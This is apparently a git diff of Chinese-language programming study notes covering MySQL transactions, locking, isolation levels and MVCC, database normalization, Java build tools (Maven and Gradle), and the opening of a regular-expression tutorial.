<div align="center"> <img src="../pics//6675d713-8b59-4067-ad16-fdd538d4bb43.png" width="500"/> </div><br>
|
||||
|
||||
## AUTOCOMMIT
|
||||
|
||||
MySQL 默认采用自动提交模式。也就是说,如果不显式使用`START TRANSACTION`语句来开始一个事务,那么每个查询都会被当做一个事务自动提交。
|
||||
|
||||
# 二、并发一致性问题
|
||||
|
||||
在并发环境下,事务的隔离性很难保证,因此会出现很多并发一致性问题。
|
||||
|
||||
## 丢失修改
|
||||
|
||||
T<sub>1</sub> 和 T<sub>2</sub> 两个事务都对一个数据进行修改,T<sub>1</sub> 先修改,T<sub>2</sub> 随后修改,T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。
|
||||
|
||||
<div align="center"> <img src="../pics//88ff46b3-028a-4dbb-a572-1f062b8b96d3.png" width="350"/> </div><br>
|
||||
|
||||
## 读脏数据
|
||||
|
||||
T<sub>1</sub> 修改一个数据,T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改,那么 T<sub>2</sub> 读取的数据是脏数据。
|
||||
|
||||
<div align="center"> <img src="../pics//dd782132-d830-4c55-9884-cfac0a541b8e.png" width="400"/> </div><br>
|
||||
|
||||
## 不可重复读
|
||||
|
||||
T<sub>2</sub> 读取一个数据,T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据,此时读取的结果和第一次读取的结果不同。
|
||||
|
||||
<div align="center"> <img src="../pics//c8d18ca9-0b09-441a-9a0c-fb063630d708.png" width="350"/> </div><br>
|
||||
|
||||
## 幻影读
|
||||
|
||||
T<sub>1</sub> 读取某个范围的数据,T<sub>2</sub> 在这个范围内插入新的数据,T<sub>1</sub> 再次读取这个范围的数据,此时读取的结果和和第一次读取的结果不同。
|
||||
|
||||
<div align="center"> <img src="../pics//72fe492e-f1cb-4cfc-92f8-412fb3ae6fec.png" width="350"/> </div><br>
|
||||
|
||||
----
|
||||
|
||||
产生并发不一致性问题主要原因是破坏了事务的隔离性,解决方法是通过并发控制来保证隔离性。并发控制可以通过封锁来实现,但是封锁操作需要用户自己控制,相当复杂。数据库管理系统提供了事务的隔离级别,让用户以一种更轻松的方式处理并发一致性问题。
|
||||
|
||||
# 三、封锁
|
||||
|
||||
## 封锁粒度
|
||||
|
||||
MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
|
||||
|
||||
应该尽量只锁定需要修改的那部分数据,而不是所有的资源。锁定的数据量越少,发生锁争用的可能就越小,系统的并发程度就越高。
|
||||
|
||||
但是加锁需要消耗资源,锁的各种操作(包括获取锁、释放锁、以及检查锁状态)都会增加系统开销。因此封锁粒度越小,系统开销就越大。
|
||||
|
||||
在选择封锁粒度时,需要在锁开销和并发程度之间做一个权衡。
|
||||
|
||||
<div align="center"> <img src="../pics//1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg" width="300"/> </div><br>
|
||||
|
||||
## 封锁类型
|
||||
|
||||
### 1. 读写锁
|
||||
|
||||
- 排它锁(Exclusive),简写为 X 锁,又称写锁。
|
||||
- 共享锁(Shared),简写为 S 锁,又称读锁。
|
||||
|
||||
有以下两个规定:
|
||||
|
||||
- 一个事务对数据对象 A 加了 X 锁,就可以对 A 进行读取和更新。加锁期间其它事务不能对 A 加任何锁。
|
||||
- 一个事务对数据对象 A 加了 S 锁,可以对 A 进行读取操作,但是不能进行更新操作。加锁期间其它事务能对 A 加 S 锁,但是不能加 X 锁。
|
||||
|
||||
锁的兼容关系如下:
|
||||
|
||||
| - | X | S |
|
||||
| :--: | :--: | :--: |
|
||||
|X|×|×|
|
||||
|S|×|√|
|
||||
|
||||
### 2. 意向锁
|
||||
|
||||
使用意向锁(Intention Locks)可以更容易地支持多粒度封锁。
|
||||
|
||||
在存在行级锁和表级锁的情况下,事务 T 想要对表 A 加 X 锁,就需要先检测是否有其它事务对表 A 或者表 A 中的任意一行加了锁,那么就需要对表 A 的每一行都检测一次,这是非常耗时的。
|
||||
|
||||
意向锁在原来的 X/S 锁之上引入了 IX/IS,IX/IS 都是表锁,用来表示一个事务想要在表中的某个数据行上加 X 锁或 S 锁。有以下两个规定:
|
||||
|
||||
- 一个事务在获得某个数据行对象的 S 锁之前,必须先获得表的 IS 锁或者更强的锁;
|
||||
- 一个事务在获得某个数据行对象的 X 锁之前,必须先获得表的 IX 锁。
|
||||
|
||||
通过引入意向锁,事务 T 想要对表 A 加 X 锁,只需要先检测是否有其它事务对表 A 加了 X/IX/S/IS 锁,如果加了就表示有其它事务正在使用这个表或者表中某一行的锁,因此事务 T 加 X 锁失败。
|
||||
|
||||
各种锁的兼容关系如下:
|
||||
|
||||
| - | X | IX | S | IS |
|
||||
| :--: | :--: | :--: | :--: | :--: |
|
||||
|X |× |× |× | ×|
|
||||
|IX |× |√ |× | √|
|
||||
|S |× |× |√ | √|
|
||||
|IS |× |√ |√ | √|
|
||||
|
||||
解释如下:
|
||||
|
||||
- 任意 IS/IX 锁之间都是兼容的,因为它们只是表示想要对表加锁,而不是真正加锁;
|
||||
- S 锁只与 S 锁和 IS 锁兼容,也就是说事务 T 想要对数据行加 S 锁,其它事务可以已经获得对表或者表中的行的 S 锁。
|
||||
|
||||
## 封锁协议
|
||||
|
||||
### 1. 三级封锁协议
|
||||
|
||||
**一级封锁协议**
|
||||
|
||||
事务 T 要修改数据 A 时必须加 X 锁,直到 T 结束才释放锁。
|
||||
|
||||
可以解决丢失修改问题,因为不能同时有两个事务对同一个数据进行修改,那么事务的修改就不会被覆盖。
|
||||
|
||||
| T<sub>1</sub> | T<sub>2</sub> |
|
||||
| :--: | :--: |
|
||||
| lock-x(A) | |
|
||||
| read A=20 | |
|
||||
| | lock-x(A) |
|
||||
| | wait |
|
||||
| write A=19 |. |
|
||||
| commit |. |
|
||||
| unlock-x(A) |. |
|
||||
| | obtain |
|
||||
| | read A=19 |
|
||||
| | write A=21 |
|
||||
| | commit |
|
||||
| | unlock-x(A)|
|
||||
|
||||
**二级封锁协议**
|
||||
|
||||
在一级的基础上,要求读取数据 A 时必须加 S 锁,读取完马上释放 S 锁。
|
||||
|
||||
可以解决读脏数据问题,因为如果一个事务在对数据 A 进行修改,根据 1 级封锁协议,会加 X 锁,那么就不能再加 S 锁了,也就是不会读入数据。
|
||||
|
||||
| T<sub>1</sub> | T<sub>2</sub> |
|
||||
| :--: | :--: |
|
||||
| lock-x(A) | |
|
||||
| read A=20 | |
|
||||
| write A=19 | |
|
||||
| | lock-s(A) |
|
||||
| | wait |
|
||||
| rollback | .|
|
||||
| A=20 |. |
|
||||
| unlock-x(A) |. |
|
||||
| | obtain |
|
||||
| | read A=20 |
|
||||
| | unlock-s(A)|
|
||||
| | commit |
|
||||
|
||||
**三级封锁协议**
|
||||
|
||||
在二级的基础上,要求读取数据 A 时必须加 S 锁,直到事务结束了才能释放 S 锁。
|
||||
|
||||
可以解决不可重复读的问题,因为读 A 时,其它事务不能对 A 加 X 锁,从而避免了在读的期间数据发生改变。
|
||||
|
||||
| T<sub>1</sub> | T<sub>2</sub> |
|
||||
| :--: | :--: |
|
||||
| lock-s(A) | |
|
||||
| read A=20 | |
|
||||
| |lock-x(A) |
|
||||
| | wait |
|
||||
| read A=20| . |
|
||||
| commit | .|
|
||||
| unlock-s(A) |. |
|
||||
| | obtain |
|
||||
| | read A=20 |
|
||||
| | write A=19|
|
||||
| | commit |
|
||||
| | unlock-X(A)|
|
||||
|
||||
### 2. 两段锁协议
|
||||
|
||||
加锁和解锁分为两个阶段进行。
|
||||
|
||||
可串行化调度是指,通过并发控制,使得并发执行的事务结果与某个串行执行的事务结果相同。
|
||||
|
||||
事务遵循两段锁协议是保证可串行化调度的充分条件。例如以下操作满足两段锁协议,它是可串行化调度。
|
||||
|
||||
```html
|
||||
lock-x(A)...lock-s(B)...lock-s(C)...unlock(A)...unlock(C)...unlock(B)
|
||||
```
|
||||
|
||||
但不是必要条件,例如以下操作不满足两段锁协议,但是它还是可串行化调度。
|
||||
|
||||
```html
|
||||
lock-x(A)...unlock(A)...lock-s(B)...unlock(B)...lock-s(C)...unlock(C)
|
||||
```
|
||||
|
||||
## MySQL 隐式与显示锁定
|
||||
|
||||
MySQL 的 InnoDB 存储引擎采用两段锁协议,会根据隔离级别在需要的时候自动加锁,并且所有的锁都是在同一时刻被释放,这被称为隐式锁定。
|
||||
|
||||
InnoDB 也可以使用特定的语句进行显示锁定:
|
||||
|
||||
```sql
|
||||
SELECT ... LOCK In SHARE MODE;
|
||||
SELECT ... FOR UPDATE;
|
||||
```
|
||||
|
||||
# 四、隔离级别
|
||||
|
||||
## 未提交读(READ UNCOMMITTED)
|
||||
|
||||
事务中的修改,即使没有提交,对其它事务也是可见的。
|
||||
|
||||
## 提交读(READ COMMITTED)
|
||||
|
||||
一个事务只能读取已经提交的事务所做的修改。换句话说,一个事务所做的修改在提交之前对其它事务是不可见的。
|
||||
|
||||
## 可重复读(REPEATABLE READ)
|
||||
|
||||
保证在同一个事务中多次读取同样数据的结果是一样的。
|
||||
|
||||
## 可串行化(SERIALIZABLE)
|
||||
|
||||
强制事务串行执行。
|
||||
|
||||
----
|
||||
|
||||
| 隔离级别 | 脏读 | 不可重复读 | 幻影读 | 加锁读 |
|
||||
| :---: | :---: | :---:| :---: | :---: |
|
||||
| 未提交读 | √ | √ | √ | × |
|
||||
| 提交读 | × | √ | √ | × |
|
||||
| 可重复读 | × | × | √ | × |
|
||||
| 可串行化 | × | × | × | √ |
|
||||
|
||||
# 五、多版本并发控制
|
||||
|
||||
多版本并发控制(Multi-Version Concurrency Control, MVCC)是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式,用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行,无需使用 MVCC。可串行化隔离级别需要对所有读取的行都加锁,单纯使用 MVCC 无法实现。
|
||||
|
||||
## 版本号
|
||||
|
||||
- 系统版本号:是一个递增的数字,每开始一个新的事务,系统版本号就会自动递增。
|
||||
- 事务版本号:事务开始时的系统版本号。
|
||||
|
||||
## 隐藏的列
|
||||
|
||||
MVCC 在每行记录后面都保存着两个隐藏的列,用来存储两个版本号:
|
||||
|
||||
- 创建版本号:指示创建一个数据行的快照时的系统版本号;
|
||||
- 删除版本号:如果该快照的删除版本号大于当前事务版本号表示该快照有效,否则表示该快照已经被删除了。
|
||||
|
||||
## Undo 日志
|
||||
|
||||
MVCC 使用到的快照存储在 Undo 日志中,该日志通过回滚指针把一个数据行(Record)的所有快照连接起来。
|
||||
|
||||
<div align="center"> <img src="../pics//e41405a8-7c05-4f70-8092-e961e28d3112.jpg" width=""/> </div><br>
|
||||
|
||||
## 实现过程
|
||||
|
||||
以下实现过程针对可重复读隔离级别。
|
||||
|
||||
当开始新一个事务时,该事务的版本号肯定会大于当前所有数据行快照的创建版本号,理解这一点很关键。
|
||||
|
||||
### 1. SELECT
|
||||
|
||||
多个事务必须读取到同一个数据行的快照,并且这个快照是距离现在最近的一个有效快照。但是也有例外,如果有一个事务正在修改该数据行,那么它可以读取事务本身所做的修改,而不用和其它事务的读取结果一致。
|
||||
|
||||
把没有对一个数据行做修改的事务称为 T,T 所要读取的数据行快照的创建版本号必须小于 T 的版本号,因为如果大于或者等于 T 的版本号,那么表示该数据行快照是其它事务的最新修改,因此不能去读取它。除此之外,T 所要读取的数据行快照的删除版本号必须大于 T 的版本号,因为如果小于等于 T 的版本号,那么表示该数据行快照是已经被删除的,不应该去读取它。
|
||||
|
||||
### 2. INSERT
|
||||
|
||||
将当前系统版本号作为数据行快照的创建版本号。
|
||||
|
||||
### 3. DELETE
|
||||
|
||||
将当前系统版本号作为数据行快照的删除版本号。
|
||||
|
||||
### 4. UPDATE
|
||||
|
||||
将当前系统版本号作为更新前的数据行快照的删除版本号,并将当前系统版本号作为更新后的数据行快照的创建版本号。可以理解为先执行 DELETE 后执行 INSERT。
|
||||
|
||||
## 快照读与当前读
|
||||
|
||||
### 1. 快照读
|
||||
|
||||
使用 MVCC 读取的是快照中的数据,这样可以减少加锁所带来的开销。
|
||||
|
||||
```sql
|
||||
select * from table ...;
|
||||
```
|
||||
|
||||
### 2. 当前读
|
||||
|
||||
读取的是最新的数据,需要加锁。以下第一个语句需要加 S 锁,其它都需要加 X 锁。
|
||||
|
||||
```sql
|
||||
select * from table where ? lock in share mode;
|
||||
select * from table where ? for update;
|
||||
insert;
|
||||
update;
|
||||
delete;
|
||||
```
|
||||
|
||||
# 六、Next-Key Locks
|
||||
|
||||
Next-Key Locks 是 MySQL 的 InnoDB 存储引擎的一种锁实现。
|
||||
|
||||
MVCC 不能解决幻读的问题,Next-Key Locks 就是为了解决这个问题而存在的。在可重复读(REPEATABLE READ)隔离级别下,使用 MVCC + Next-Key Locks 可以解决幻读问题。
|
||||
|
||||
## Record Locks
|
||||
|
||||
锁定一个记录上的索引,而不是记录本身。
|
||||
|
||||
如果表没有设置索引,InnoDB 会自动在主键上创建隐藏的聚簇索引,因此 Record Locks 依然可以使用。
|
||||
|
||||
## Gap Locks
|
||||
|
||||
锁定索引之间的间隙,但是不包含索引本身。例如当一个事务执行以下语句,其它事务就不能在 t.c 中插入 15。
|
||||
|
||||
```sql
|
||||
SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
|
||||
```
|
||||
|
||||
## Next-Key Locks
|
||||
|
||||
它是 Record Locks 和 Gap Locks 的结合,不仅锁定一个记录上的索引,也锁定索引之间的间隙。例如一个索引包含以下值:10, 11, 13, and 20,那么就需要锁定以下区间:
|
||||
|
||||
```sql
|
||||
(negative infinity, 10]
|
||||
(10, 11]
|
||||
(11, 13]
|
||||
(13, 20]
|
||||
(20, positive infinity)
|
||||
```
|
||||
|
||||
# 七、关系数据库设计理论
|
||||
|
||||
## 函数依赖
|
||||
|
||||
记 A->B 表示 A 函数决定 B,也可以说 B 函数依赖于 A。
|
||||
|
||||
如果 {A1,A2,... ,An} 是关系的一个或多个属性的集合,该集合函数决定了关系的其它所有属性并且是最小的,那么该集合就称为键码。
|
||||
|
||||
对于 A->B,如果能找到 A 的真子集 A',使得 A'-> B,那么 A->B 就是部分函数依赖,否则就是完全函数依赖。
|
||||
|
||||
对于 A->B,B->C,则 A->C 是一个传递函数依赖。
|
||||
|
||||
## 异常
|
||||
|
||||
以下的学生课程关系的函数依赖为 Sno, Cname -> Sname, Sdept, Mname, Grade,键码为 {Sno, Cname}。也就是说,确定学生和课程之后,就能确定其它信息。
|
||||
|
||||
| Sno | Sname | Sdept | Mname | Cname | Grade |
|
||||
| :---: | :---: | :---: | :---: | :---: |:---:|
|
||||
| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
|
||||
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
|
||||
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
|
||||
| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
|
||||
|
||||
不符合范式的关系,会产生很多异常,主要有以下四种异常:
|
||||
|
||||
- 冗余数据:例如 `学生-2` 出现了两次。
|
||||
- 修改异常:修改了一个记录中的信息,但是另一个记录中相同的信息却没有被修改。
|
||||
- 删除异常:删除一个信息,那么也会丢失其它信息。例如删除了 `课程-1` 需要删除第一行和第三行,那么 `学生-1` 的信息就会丢失。
|
||||
- 插入异常:例如想要插入一个学生的信息,如果这个学生还没选课,那么就无法插入。
|
||||
|
||||
## 范式
|
||||
|
||||
范式理论是为了解决以上提到四种异常。
|
||||
|
||||
高级别范式的依赖于低级别的范式,1NF 是最低级别的范式。
|
||||
|
||||
<div align="center"> <img src="../pics//c2d343f7-604c-4856-9a3c-c71d6f67fecc.png" width="300"/> </div><br>
|
||||
|
||||
### 1. 第一范式 (1NF)
|
||||
|
||||
属性不可分。
|
||||
|
||||
### 2. 第二范式 (2NF)
|
||||
|
||||
每个非主属性完全函数依赖于键码。
|
||||
|
||||
可以通过分解来满足。
|
||||
|
||||
<font size=4> **分解前** </font><br>
|
||||
|
||||
| Sno | Sname | Sdept | Mname | Cname | Grade |
|
||||
| :---: | :---: | :---: | :---: | :---: |:---:|
|
||||
| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
|
||||
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
|
||||
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
|
||||
| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
|
||||
|
||||
以上学生课程关系中,{Sno, Cname} 为键码,有如下函数依赖:
|
||||
|
||||
- Sno -> Sname, Sdept
|
||||
- Sdept -> Mname
|
||||
- Sno, Cname-> Grade
|
||||
|
||||
Grade 完全函数依赖于键码,它没有任何冗余数据,每个学生的每门课都有特定的成绩。
|
||||
|
||||
Sname, Sdept 和 Mname 都部分依赖于键码,当一个学生选修了多门课时,这些数据就会出现多次,造成大量冗余数据。
|
||||
|
||||
<font size=4> **分解后** </font><br>
|
||||
|
||||
关系-1
|
||||
|
||||
| Sno | Sname | Sdept | Mname |
|
||||
| :---: | :---: | :---: | :---: |
|
||||
| 1 | 学生-1 | 学院-1 | 院长-1 |
|
||||
| 2 | 学生-2 | 学院-2 | 院长-2 |
|
||||
| 3 | 学生-3 | 学院-2 | 院长-2 |
|
||||
|
||||
有以下函数依赖:
|
||||
|
||||
- Sno -> Sname, Sdept
|
||||
- Sdept -> Mname
|
||||
|
||||
关系-2
|
||||
|
||||
| Sno | Cname | Grade |
|
||||
| :---: | :---: |:---:|
|
||||
| 1 | 课程-1 | 90 |
|
||||
| 2 | 课程-2 | 80 |
|
||||
| 2 | 课程-1 | 100 |
|
||||
| 3 | 课程-2 | 95 |
|
||||
|
||||
有以下函数依赖:
|
||||
|
||||
- Sno, Cname -> Grade
|
||||
|
||||
### 3. 第三范式 (3NF)
|
||||
|
||||
非主属性不传递函数依赖于键码。
|
||||
|
||||
上面的 关系-1 中存在以下传递函数依赖:
|
||||
|
||||
- Sno -> Sdept -> Mname
|
||||
|
||||
可以进行以下分解:
|
||||
|
||||
关系-11
|
||||
|
||||
| Sno | Sname | Sdept |
|
||||
| :---: | :---: | :---: |
|
||||
| 1 | 学生-1 | 学院-1 |
|
||||
| 2 | 学生-2 | 学院-2 |
|
||||
| 3 | 学生-3 | 学院-2 |
|
||||
|
||||
关系-12
|
||||
|
||||
| Sdept | Mname |
|
||||
| :---: | :---: |
|
||||
| 学院-1 | 院长-1 |
|
||||
| 学院-2 | 院长-2 |
|
||||
|
||||
# 八、ER 图
|
||||
|
||||
Entity-Relationship,有三个组成部分:实体、属性、联系。
|
||||
|
||||
用来进行关系型数据库系统的概念设计。
|
||||
|
||||
## 实体的三种联系
|
||||
|
||||
包含一对一,一对多,多对多三种。
|
||||
|
||||
- 如果 A 到 B 是一对多关系,那么画个带箭头的线段指向 B;
|
||||
- 如果是一对一,画两个带箭头的线段;
|
||||
- 如果是多对多,画两个不带箭头的线段。
|
||||
|
||||
下图的 Course 和 Student 是一对多的关系。
|
||||
|
||||
<div align="center"> <img src="../pics//292b4a35-4507-4256-84ff-c218f108ee31.jpg" width=""/> </div><br>
|
||||
|
||||
## 表示出现多次的关系
|
||||
|
||||
一个实体在联系出现几次,就要用几条线连接。
|
||||
|
||||
下图表示一个课程的先修关系,先修关系出现两个 Course 实体,第一个是先修课程,后一个是后修课程,因此需要用两条线来表示这种关系。
|
||||
|
||||
<div align="center"> <img src="../pics//8b798007-e0fb-420c-b981-ead215692417.jpg" width=""/> </div><br>
|
||||
|
||||
## 联系的多向性
|
||||
|
||||
虽然老师可以开设多门课,并且可以教授多名学生,但是对于特定的学生和课程,只有一个老师教授,这就构成了一个三元联系。
|
||||
|
||||
<div align="center"> <img src="../pics//423f2a40-bee1-488e-b460-8e76c48ee560.png" width=""/> </div><br>
|
||||
|
||||
一般只使用二元联系,可以把多元联系转换为二元联系。
|
||||
|
||||
<div align="center"> <img src="../pics//de9b9ea0-1327-4865-93e5-6f805c48bc9e.png" width=""/> </div><br>
|
||||
|
||||
## 表示子类
|
||||
|
||||
用一个三角形和两条线来连接类和子类,与子类有关的属性和联系都连到子类上,而与父类和子类都有关的连到父类上。
|
||||
|
||||
<div align="center"> <img src="../pics//7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg" width=""/> </div><br>
|
||||
|
||||
# 参考资料
|
||||
|
||||
- AbrahamSilberschatz, HenryF.Korth, S.Sudarshan, 等. 数据库系统概念 [M]. 机械工业出版社, 2006.
|
||||
- 施瓦茨. 高性能 MYSQL(第3版)[M]. 电子工业出版社, 2013.
|
||||
- 史嘉权. 数据库系统概论[M]. 清华大学出版社有限公司, 2006.
|
||||
- [The InnoDB Storage Engine](https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html)
|
||||
- [Transaction isolation levels](https://www.slideshare.net/ErnestoHernandezRodriguez/transaction-isolation-levels)
|
||||
- [Concurrency Control](http://scanftree.com/dbms/2-phase-locking-protocol)
|
||||
- [The Nightmare of Locking, Blocking and Isolation Levels!](https://www.slideshare.net/brshristov/the-nightmare-of-locking-blocking-and-isolation-levels-46391666)
|
||||
- [Database Normalization and Normal Forms with an Example](https://aksakalli.github.io/2012/03/12/database-normalization-and-normal-forms-with-an-example.html)
|
||||
- [The basics of the InnoDB undo logging and history system](https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb-undo-logging-and-history-system/)
|
||||
- [MySQL locking for the busy web developer](https://www.brightbox.com/blog/2013/10/31/on-mysql-locks/)
|
||||
- [浅入浅出 MySQL 和 InnoDB](https://draveness.me/mysql-innodb)
|
||||
- [Innodb 中的事务隔离级别和锁的关系](https://tech.meituan.com/innodb-lock.html)
|
141
docs/notes/构建工具.md
Normal file
141
docs/notes/构建工具.md
Normal file
@ -0,0 +1,141 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、构建工具的作用](#一构建工具的作用)
|
||||
* [二、Java 主流构建工具](#二java-主流构建工具)
|
||||
* [三、Maven](#三maven)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、构建工具的作用
|
||||
|
||||
构建工具是用于构建项目的自动化工具,主要包含以下工作:
|
||||
|
||||
## 依赖管理
|
||||
|
||||
不再需要手动导入 Jar 依赖包,并且可以自动处理依赖关系,也就是说某个依赖如果依赖于其它依赖,构建工具可以帮助我们自动处理这种依赖管理。
|
||||
|
||||
## 运行单元测试
|
||||
|
||||
不再需要在项目代码中添加测试代码,从而避免了污染项目代码。
|
||||
|
||||
## 将源代码转化为可执行文件
|
||||
|
||||
包含预处理、编译、汇编、链接等步骤。
|
||||
|
||||
## 将可执行文件进行打包
|
||||
|
||||
不再需要使用 IDE 将应用程序打包成 Jar 包。
|
||||
|
||||
## 发布到生产服务器上
|
||||
|
||||
不再需要通过 FTP 将 Jar 包上传到服务器上。
|
||||
|
||||
# 二、Java 主流构建工具
|
||||
|
||||
主要包括 Ant、Maven 和 Gradle。
|
||||
|
||||
<div align="center"> <img src="../pics//897503d0-59e3-4752-903d-529fbdb72fee.jpg"/> </div><br>
|
||||
|
||||
Gradle 和 Maven 的区别是,它使用 Groovy 这种特定领域语言(DSL)来管理构建脚本,而不再使用 XML 这种标记性语言。因为项目如果庞大的话,XML 很容易就变得臃肿。
|
||||
|
||||
例如要在项目中引入 Junit,Maven 的代码如下:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
|
||||
<groupId>jizg.study.maven.hello</groupId>
|
||||
<artifactId>hello-first</artifactId>
|
||||
<version>0.0.1-SNAPSHOT</version>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>junit</groupId>
|
||||
<artifactId>junit</artifactId>
|
||||
<version>4.10</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
</project>
|
||||
```
|
||||
|
||||
而 Gradle 只需要几行代码:
|
||||
|
||||
```java
|
||||
dependencies {
|
||||
testCompile "junit:junit:4.10"
|
||||
}
|
||||
```
|
||||
|
||||
# 三、Maven
|
||||
|
||||
## 概述
|
||||
|
||||
提供了项目对象模型(POM)文件来管理项目的构建。
|
||||
|
||||
## 仓库
|
||||
|
||||
仓库的搜索顺序为:本地仓库、中央仓库、远程仓库。
|
||||
|
||||
- 本地仓库用来存储项目的依赖库;
|
||||
- 中央仓库是下载依赖库的默认位置;
|
||||
- 远程仓库,因为并非所有的库存储在中央仓库,或者中央仓库访问速度很慢,远程仓库是中央仓库的补充。
|
||||
|
||||
## POM
|
||||
|
||||
POM 代表项目对象模型,它是一个 XML 文件,保存在项目根目录的 pom.xml 文件中。
|
||||
|
||||
```xml
|
||||
<dependency>
|
||||
<groupId>junit</groupId>
|
||||
<artifactId>junit</artifactId>
|
||||
<version>4.12</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
```
|
||||
|
||||
[groupId, artifactId, version, packaging, classifier] 称为一个项目的坐标,其中 groupId、artifactId、version 必须定义,packaging 可选(默认为 Jar),classifier 不能直接定义的,需要结合插件使用。
|
||||
|
||||
|
||||
- groupId:项目组 Id,必须全球唯一;
|
||||
- artifactId:项目 Id,即项目名;
|
||||
- version:项目版本;
|
||||
- packaging:项目打包方式。
|
||||
|
||||
## 依赖原则
|
||||
|
||||
### 1. 依赖路径最短优先原则
|
||||
|
||||
```html
|
||||
A -> B -> C -> X(1.0)
|
||||
A -> D -> X(2.0)
|
||||
```
|
||||
由于 X(2.0) 路径最短,所以使用 X(2.0)。
|
||||
|
||||
### 2. 声明顺序优先原则
|
||||
|
||||
```html
|
||||
A -> B -> X(1.0)
|
||||
A -> C -> X(2.0)
|
||||
```
|
||||
|
||||
在 POM 中最先声明的优先,上面的两个依赖如果先声明 B,那么最后使用 X(1.0)。
|
||||
|
||||
### 3. 覆写优先原则
|
||||
|
||||
子 POM 内声明的依赖优先于父 POM 中声明的依赖。
|
||||
|
||||
## 解决依赖冲突
|
||||
|
||||
找到 Maven 加载的 Jar 包版本,使用 `mvn dependency:tree` 查看依赖树,根据依赖原则来调整依赖在 POM 文件的声明顺序。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- [POM Reference](http://maven.apache.org/pom.html#Dependency_Version_Requirement_Specification)
|
||||
- [What is a build tool?](https://stackoverflow.com/questions/7249871/what-is-a-build-tool)
|
||||
- [Java Build Tools Comparisons: Ant vs Maven vs Gradle](https://programmingmitra.blogspot.com/2016/05/java-build-tools-comparisons-ant-vs.html)
|
||||
- [maven 2 gradle](http://sagioto.github.io/maven2gradle/)
|
||||
- [新一代构建工具 gradle](https://www.imooc.com/learn/833)
|
||||
|
388
docs/notes/正则表达式.md
Normal file
388
docs/notes/正则表达式.md
Normal file
@ -0,0 +1,388 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、概述](#一概述)
|
||||
* [二、匹配单个字符](#二匹配单个字符)
|
||||
* [三、匹配一组字符](#三匹配一组字符)
|
||||
* [四、使用元字符](#四使用元字符)
|
||||
* [五、重复匹配](#五重复匹配)
|
||||
* [六、位置匹配](#六位置匹配)
|
||||
* [七、使用子表达式](#七使用子表达式)
|
||||
* [八、回溯引用](#八回溯引用)
|
||||
* [九、前后查找](#九前后查找)
|
||||
* [十、嵌入条件](#十嵌入条件)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、概述
|
||||
|
||||
正则表达式用于文本内容的查找和替换。
|
||||
|
||||
正则表达式内置于其它语言或者软件产品中,它本身不是一种语言或者软件。
|
||||
|
||||
[正则表达式在线工具](https://regexr.com/)
|
||||
|
||||
# 二、匹配单个字符
|
||||
|
||||
**.** 可以用来匹配任何的单个字符,但是在绝大多数实现里面,不能匹配换行符;
|
||||
|
||||
**.** 是元字符,表示它有特殊的含义,而不是字符本身的含义。如果需要匹配 . ,那么要用 \ 进行转义,即在 . 前面加上 \ 。
|
||||
|
||||
正则表达式一般是区分大小写的,但是也有些实现是不区分。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
nam.
|
||||
```
|
||||
|
||||
**匹配结果**
|
||||
|
||||
My **name** is Zheng.
|
||||
|
||||
# 三、匹配一组字符
|
||||
|
||||
**[ ]** 定义一个字符集合;
|
||||
|
||||
0-9、a-z 定义了一个字符区间,区间使用 ASCII 码来确定,字符区间在 [ ] 中使用。
|
||||
|
||||
**-** 只有在 [ ] 之间才是元字符,在 [ ] 之外就是一个普通字符;
|
||||
|
||||
**^** 在 [ ] 中是取非操作。
|
||||
|
||||
**应用**
|
||||
|
||||
匹配以 abc 为开头,并且最后一个字母不为数字的字符串:
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
abc[^0-9]
|
||||
```
|
||||
|
||||
**匹配结果**
|
||||
|
||||
1. **abcd**
|
||||
2. abc1
|
||||
3. abc2
|
||||
|
||||
# 四、使用元字符
|
||||
|
||||
## 匹配空白字符
|
||||
|
||||
| 元字符 | 说明 |
|
||||
| :---: | :---: |
|
||||
| [\b] | 回退(删除)一个字符 |
|
||||
| \f | 换页符 |
|
||||
| \n | 换行符 |
|
||||
| \r | 回车符 |
|
||||
| \t | 制表符 |
|
||||
| \v | 垂直制表符 |
|
||||
|
||||
\r\n 是 Windows 中的文本行结束标签,在 Unix/Linux 则是 \n。
|
||||
|
||||
\r\n\r\n 可以匹配 Windows 下的空白行,因为它将匹配两个连续的行尾标签,而这正是两条记录之间的空白行;
|
||||
